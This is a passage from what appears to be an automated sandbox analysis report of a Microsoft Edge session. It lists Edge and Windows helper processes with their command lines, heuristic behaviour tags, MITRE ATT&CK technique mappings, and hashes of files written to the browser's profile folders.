    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,13362316476215648988,11447111724311072578,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:14
    3⤵
    PID:3696
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,13362316476215648988,11447111724311072578,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:14
    3⤵
    PID:5692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6232,i,17890933309402540361,12503910724827640655,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:14
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,14043350256079477635,8869244097730286993,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
    3⤵
    PID:5236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x2cc,0x7ffda606c188,0x7ffda606c194,0x7ffda606c1a0
      4⤵
      PID:1792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,4470725558622062396,8024460748200283697,262144 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:2
      4⤵
      PID:6128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,6093652840787200964,10748776268330445437,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:11
      4⤵
      System Time Discovery
      PID:3868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2420,i,5914415811778272739,9500994470374993404,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=3020 /prefetch:13
      4⤵
      PID:2536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,18142294486022345073,12089917209166075089,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:14
      4⤵
      PID:4448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,18142294486022345073,12089917209166075089,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:14
      4⤵
      PID:5472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4868,i,10741294841135743496,9199654215297797697,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:14
      4⤵
      PID:444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4524,i,3802175926577919915,15570388006934251229,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:14
      4⤵
      PID:1252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4940,i,13073239246054815132,13306766906998525113,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:14
      4⤵
      PID:4464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4560,i,16781238315767238168,12484640478406479083,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
      4⤵
      PID:2760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4868,i,17255222436920493935,14270721228211299076,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:14
      4⤵
      PID:4316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4916,i,14302800124638927581,14663709885538271939,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:14
      4⤵
      PID:5280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5084,i,11976781184797663156,18079139371453096,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:14
      4⤵
      PID:2056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,6443650412389972011,9614103308129666478,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
      4⤵
      PID:4696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2728,i,2272177069661777220,16417176617535361722,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:14
      4⤵
      PID:2876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4996,i,283788401353431828,5169969790014955102,262144 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,244906281009620877,2846515095589552976,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
      4⤵
      PID:3704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4732,i,7763078526697995653,1453681434653847175,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:14
      4⤵
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4016,i,13920358857380850301,9976589233749001026,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:14
      4⤵
      PID:3444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,8718636085314078693,9881329088509535140,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:14
      4⤵
      PID:244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,6150876909384550861,2464886956718490856,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,7508721144732367529,4840549496792101862,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:14
      4⤵
      PID:5768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5520,i,4053359682149966714,16420165660535176249,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:14
      4⤵
      PID:3276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5304,i,15220840752580113278,8453845622236542782,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:14
      4⤵
      PID:3184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3928,i,4165375335475038237,17157955704207126505,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
      4⤵
      PID:3896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4844,i,12278751845161885770,8037128769335765030,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
      4⤵
      PID:360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,2847684430772361352,1995226558920483594,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
      4⤵
      PID:2500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5260,i,16608858592505437859,9205685970061605123,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
      4⤵
      PID:4376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4340,i,3927472875434627282,6734201091906736126,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
      4⤵
      PID:5908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3916,i,4793003165848623841,2654256205887957132,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
      4⤵
      PID:1428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4972,i,9852362925453576731,7600101062073100941,524288 --field-trial-handle=2248,i,8955532054136040679,9040775881608916600,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
      4⤵
      PID:4376

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1292

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bba2e49c11cb10e1da3782e96a0839de38ec558ccceb0d68515b04792179f852
MD5 34d661b06bc0857903247c15b32b3124
SHA1 72b12aeb58848c0b8474acb525b5e3c41cf32367
SHA512 ff623932c1d85ab3c9cf10c993d26b94c5e1d9968c6a6f9a48925137edcf7379ba3bc8d216e7fc052000ec59dab883f4b498f2262f7941a46d3328c62092e788
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
TLSH
T1E0B3A931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e25b46cf10a9d92217d0f9e183155576d95e0b258db7a812c60e406a6d213ed6
MD5 381f76b57433ad19d2dd80a429ce44c4
SHA1 c94192b896639218565a82796d96174e8703ba93
SHA512 e8a01485fa450098d97c46bb76031982352980c6bd3003e58d7f7f75218dc584d0bbb6ba6417a0ede80aee5f66b32c6ae4d662e78ae98418407a84edcc8cc0bc
TLSH
T1C0D023343B356EC1D13C107544304700B6750663355F41457150851CFC79CC557BF691
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0c59160a51f6f3c09faaf3593a45b43a14b1da3961c2cccaed8346e6543c20e0
MD5 a2b289a93fce671046a365170f24567f
SHA1 d545bd953aab467815db42a92fd1d54047d5e6af
SHA512 ce7bb8aa1a40366ad652feb8233f60cd807014cb9e8ca999c2c1931eeb40a4afa1dc2c94c60d58639e2cece8c73d3a46da7a30c651ca6da0834f57b890bd2572
TLSH
T1CFD092653BA04E08C5C4207628E1A6A6A2504A31642E024841A2F23CF8A5ED6073F4AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 51584086f7818f4d4cd15a9ad585a0ba845e29818b0baf113eaa5b5047aa8b49
MD5 ffd135fb80f565f8d91d8b36d8b6067f
SHA1 a27577079e1d0c5f52e53b61804b8e444f6c43ad
SHA512 141f05351ff39c42136a36befbdbc2b55515abae214b7b3187f017be3b703e32482b237c9dc4afec24f75763078594e3316868892731de2545ecc7ce6bb2c72e
TLSH
T14DD022343B782D42C31A30716820C752B7E253A1791ED061A1B0922CBCB9DE44BBF192
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2d6015222f1312f2737e561f5cb789cba16ddda90131d3af679ca4d112ce8de9
MD5 c1a7f665f2c508cc6aaf2ab720e9bbac
SHA1 f10047340073ccfd0dfa0a1ac50f19824703c6c6
SHA512 3b4b2c7997cc3a8e382662b8ab84779147222db6dcf3b614fe3750efba14aade687800978cd24780f580eacb766daa34fe0e560c30dde1f463983613dda767cb
TLSH
T188D092693B904E08C5C4207228E0A6A6A2604A31B82E024840A2B23CF8A5ED6073F4AA
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 e2fd65de7061e6669462ecf51ffea050e9dff1fc36db131faf5273fd157cfc9e
MD5 37ce68bae1c473a28378738f38c314b7
SHA1 5609d62941aaae260d7985f85e5c0e2ecf60a423
SHA512 6a601e253401abde60c468a01a9d617e7fead164b35e418749dfbbb9c60b58a97c20783d7d17b48f34b75bbad0630553fce0a1cc8b60eb1f4ae50bf91eb9db79
TLSH
T1BEE07DC605C8C3AEA300769B427C530CC6C1370BDBC8798A370885C4B047A44B7EB6A1
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsSiteData

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsSiteData
Size 28KB
SHA256 6bd856d68d3a2de856e64d766e2b9baacbe909d793087e84880050cb36bab1e1
MD5 faa1297eb819d33082266d374c1d492d
SHA1 91a6155f8d8c05c277e8460a7268de023f8ceec5
SHA512 120a94377078e09c960d070f09a417479708753b708a3bb148c118fa48faf12d85352317712b9d95b59d15cf5c90f1c0490f703ee4524c6bcd7f1c427e499ef3
SSDEEP 12:TLiqiw5xT5SmKT5Si8wT5SislpXUUfzBW8ybwaW2b8wAs76uvsUkHZ6HFxOUwa52:TLiq5byqkiXBzlRr6hkc6UwccI5fBG
TLSH
T149D29B8A5F32E951CAE0D63BB0C0866A9B34A2198BC26D531B1110328FC3401983B47D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 c3b1aba142696d8823a0009caf1a98588c579c361e12f9490ab1a506a3a3917d
MD5 d94492ddb06bded7449c094023483097
SHA1 638106f74f1eebcf632cdf58d2b66a380d27d81b
SHA512 528774cd5b97ed59a00079193f1abcbac522ac02a399d025a0ccdd7328a06fefaaf32556dc8585703aa188ffc49a9307b2d6e63684e5962d569844f74a997f34
TLSH
T1A7E02B6AC924D82725FD0F2870554782F66413576651894F773C920C8FB073A4786C5C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 412095a60d437535388b76edde926b36cd79e0eb91a7a18c630e0d9a2f75a27c
MD5 92d1aa40846d74538958deb5a185a4c7
SHA1 ff0046e3536b796782f33c7cd182cfbce8b4eb9c
SHA512 a524b1e9a8a8db2534d1078bc7af596b3fb062adb8811ba7e244da94ffe57a1e4cb4f0bb463c8cccb6a11adbaec36b2233f6e9eb22fff0ff239f8c7eb4ede49e
SSDEEP 192:VBrhHc8IYHsUM6ptE3fVVpU3wWWQ73qzotttLtxtHtFtnzlc9Dy9:VtNc8IYOfV3UgWWAUotttLtxtHtFtzl
TLSH
T14613E93E16502E2ADEC350BDA58B8BB4A735D811F0D4853792B237161623F850FEE6E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 482d2ccb5a0972e2eaf62f0c9732e761b04fd2f77499353cba6f26e27cb35c2f
MD5 1382d0eee670447c8a7c2b3fbce825be
SHA1 5ca04bd9705b5dab2f7aa21b3e8ae230768705b3
SHA512 13f441a279f7f47e1256b7b7b44b5de5b42d89b8b8c6f60b953edebfcf0eb242687808f37cb613d6d1f4345583c876ab4670d9e559b4a87bc57c1d616568dc19
SSDEEP 768:8RNAwIknRL/KYgL/P6ny/fFOrdaPJhFVprIbLcb/mqMq5+FKUtZ0bol4r:NwNRL/KdL/PtOYdeWV5+rtyol
TLSH
T1A2441EFB1951601BCBA852F5D2033E2EC17B455E7CD2E8E8E57C4C812826F35B2F9A85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 08ccfca98d7696aba69c0f6fd66ac52992bb4c1969629ceb949154f4bf331320
MD5 4b20cfb47429c741669a94040039f6cd
SHA1 ab352b4d091c55c4b53bc71f4ae2c0372eb50faf
SHA512 309ba603e2c870629f0e9b8a653f11a82ab6364140aa9ed13d4f5b2c96a2173fb9b742ed7d6e5f4e813a6d449bc3a3f23ec9e35bb82cea61671eccd71b59d495
SSDEEP 24576:ZHhjgcaZN8eK2Dz7+f9BI+PIEODHxifcGH7lKf82sJawpTXy0Z6OutB:ZBGv/VT+He82swcEtB
TLSH
T1FE167DEDC97858C3CD639A70B4F0E9877C7413C3F994C1D68898C584026BBC5BFAA669
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 c5b3a60c747972a25065eac586e82e5cdee0cf786c38fa186a79c3ec8d770e24
MD5 45ad8b0069509371b4d8cc546f8c73f1
SHA1 452c8dda060e6117f41dab38106949ea08e6709d
SHA512 d4e1035e4a735432f70778429ae57afdb97fd9ee5d347d25d0d93ea526bb304642d530f99a19401649e907bb357422180a82f8396a07880f3e4046035071531c
TLSH
T17251EDA5F7250DC1D7E488B168E0544B32F88499370F6E38A1145F785A87F9ADBD50E3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3980.TMP

